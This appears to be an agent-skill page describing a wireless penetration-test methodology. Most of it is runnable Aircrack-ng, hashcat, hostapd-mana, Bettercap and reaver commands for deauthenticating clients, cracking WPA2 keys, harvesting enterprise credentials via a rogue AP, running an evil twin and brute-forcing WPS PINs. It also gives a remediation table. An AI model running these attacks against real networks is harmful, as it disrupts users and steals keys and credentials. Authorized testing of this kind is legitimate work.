Agent skill
performing-wireless-network-penetration-test
Execute a wireless network penetration test to assess WiFi security by capturing handshakes, cracking WPA2/WPA3 keys, detecting rogue access points, and testing wireless segmentation using Aircrack-ng and related tools.
Install this agent skill to your Project
npx add-skill https://github.com/autohandai/community-skills/tree/main/performing-wireless-network-penetration-test
SKILL.md
Performing Wireless Network Penetration Test
Overview
Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope.
Prerequisites
- Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations)
- Compatible wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH, TP-Link TL-WN722N v1)
- Kali Linux with Aircrack-ng suite, Bettercap, Wifite, Kismet
- Physical proximity to target wireless networks
- GPS receiver for mapping (optional)
Phase 1 — Wireless Reconnaissance
Enable Monitor Mode
# Check wireless interfaces
iwconfig
airmon-ng
# Kill interfering processes
airmon-ng check kill
# Enable monitor mode
airmon-ng start wlan0
# Interface becomes wlan0mon
# Verify monitor mode
iwconfig wlan0mon
Passive Scanning
# Discover all networks in range
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap
# Filter by specific channel
airodump-ng wlan0mon -c 6 -w channel6_scan
# Scan 5GHz band
airodump-ng wlan0mon --band a -w 5ghz_scan
# Scan all bands
airodump-ng wlan0mon --band abg -w full_scan
# Kismet passive scanning (advanced)
kismet -c wlan0mon
# Access web UI at http://localhost:2501
Network Inventory
| SSID | BSSID | Channel | Encryption | Clients | Signal |
|---|---|---|---|---|---|
| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |
| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |
| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |
| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |
Phase 2 — WPA2-PSK Attack
Capture 4-Way Handshake
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon
# Deauthenticate a client to force reconnection (handshake capture)
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon
# Verify handshake captured
aircrack-ng corpguest-01.cap
# Look for "1 handshake" in output
Crack WPA2 Key
# Dictionary attack with Aircrack-ng
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap
# GPU-accelerated cracking with Hashcat
# Convert cap to hccapx format
hcxpcapngtool -o hash.hc22000 corpguest-01.cap
# Hashcat mode 22000 (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# PMKID attack (no client needed)
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
--filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
Phase 3 — WPA2-Enterprise Attack
# Set up rogue AP with EAP credential harvesting
# Using hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF
# EAP user file
cat > hostapd.eap_user << 'EOF'
* PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF
hostapd-mana hostapd-mana.conf
# Captured MSCHAP challenges can be cracked
# Crack NetNTLMv1 from EAP-MSCHAP
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt
Phase 4 — Evil Twin Attack
# Create evil twin with Bettercap
sudo bettercap -iface wlan0mon
# Within Bettercap:
wifi.recon on
wifi.ap
# Or manual evil twin with hostapd + dnsmasq
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF
# Start captive portal
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
--address=/#/192.168.1.1
# Deauth clients from real AP to force connection to evil twin
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon
Phase 5 — Additional Tests
Rogue AP Detection
# Compare authorized AP list against discovered APs
# Authorized BSSIDs from client documentation
# Flag any unknown BSSIDs broadcasting corporate SSIDs
# Check for misconfigured APs
# Personal hotspots bridging to corporate network
# IoT devices with default WiFi settings
Client Isolation Testing
# After connecting to guest network:
# Scan for other clients
nmap -sn 192.168.10.0/24
# Attempt to reach corporate resources
nmap -sT -p 80,443,445,3389 10.0.0.0/24
# Test VLAN hopping
# If guest network is not properly segmented from corporate
WPS Attack
# Check for WPS-enabled APs
wash -i wlan0mon
# WPS PIN bruteforce (if WPS enabled and not rate-limited)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv
# Pixie-Dust attack (offline WPS PIN recovery)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv
Findings Template
| Finding | Severity | CVSS | Remediation |
|---|---|---|---|
| WPA2-PSK with weak passphrase | High | 8.1 | Use 20+ char passphrase or migrate to WPA2-Enterprise |
| WEP encryption on printer network | Critical | 9.1 | Upgrade to WPA2/WPA3, segment printer VLAN |
| WPS enabled on guest AP | Medium | 5.3 | Disable WPS on all access points |
| No client isolation on guest | High | 7.5 | Enable AP isolation and VLAN segmentation |
| Corporate SSID broadcasts on rogue AP | High | 8.1 | Deploy WIDS/WIPS, implement 802.1X with cert validation |
| EAP-MSCHAP without cert pinning | High | 7.5 | Enforce server certificate validation on all clients |
References
- Aircrack-ng Documentation: https://www.aircrack-ng.org/doku.php
- CISA Aircrack-ng: https://www.cisa.gov/resources-tools/services/aircrack-ng
- WiFi Alliance WPA3 Specification: https://www.wi-fi.org/discover-wi-fi/security
- NIST SP 800-153: Guidelines for Securing WLANs
- Hashcat WPA modes: https://hashcat.net/wiki/doku.php?id=example_hashes
Recommended Agent Skills
Expand your agent's capabilities with these related and highly-rated skills.
mapping-mitre-attack-techniques
Maps observed adversary behaviors, security alerts, and detection rules to MITRE ATT&CK techniques and sub-techniques to quantify detection coverage and guide control prioritization. Use when building an ATT&CK-based coverage heatmap, tagging SIEM alerts with technique IDs, aligning security controls to adversary playbooks, or reporting threat exposure to executives. Activates for requests involving ATT&CK Navigator, Sigma rules, MITRE D3FEND, or coverage gap analysis.
hunting-for-spearphishing-indicators
Hunt for spearphishing campaign indicators across email logs, endpoint telemetry, and network data to detect targeted email attacks.
analyzing-malicious-url-with-urlscan
URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat
implementing-zero-standing-privilege-with-cyberark
Deploy CyberArk Secure Cloud Access to eliminate standing privileges in hybrid and multi-cloud environments using just-in-time access with time, entitlement, and approval controls.
implementing-pam-for-database-access
Deploy privileged access management for database systems including Oracle, SQL Server, PostgreSQL, and MySQL. Covers session proxy configuration, credential vaulting, query auditing, dynamic credentia
detecting-t1003-credential-dumping-with-edr
Detect OS credential dumping techniques targeting LSASS memory, SAM database, NTDS.dit, and cached credentials using EDR telemetry, Sysmon process access monitoring, and Windows security event correlation.
Didn't find tool you were looking for?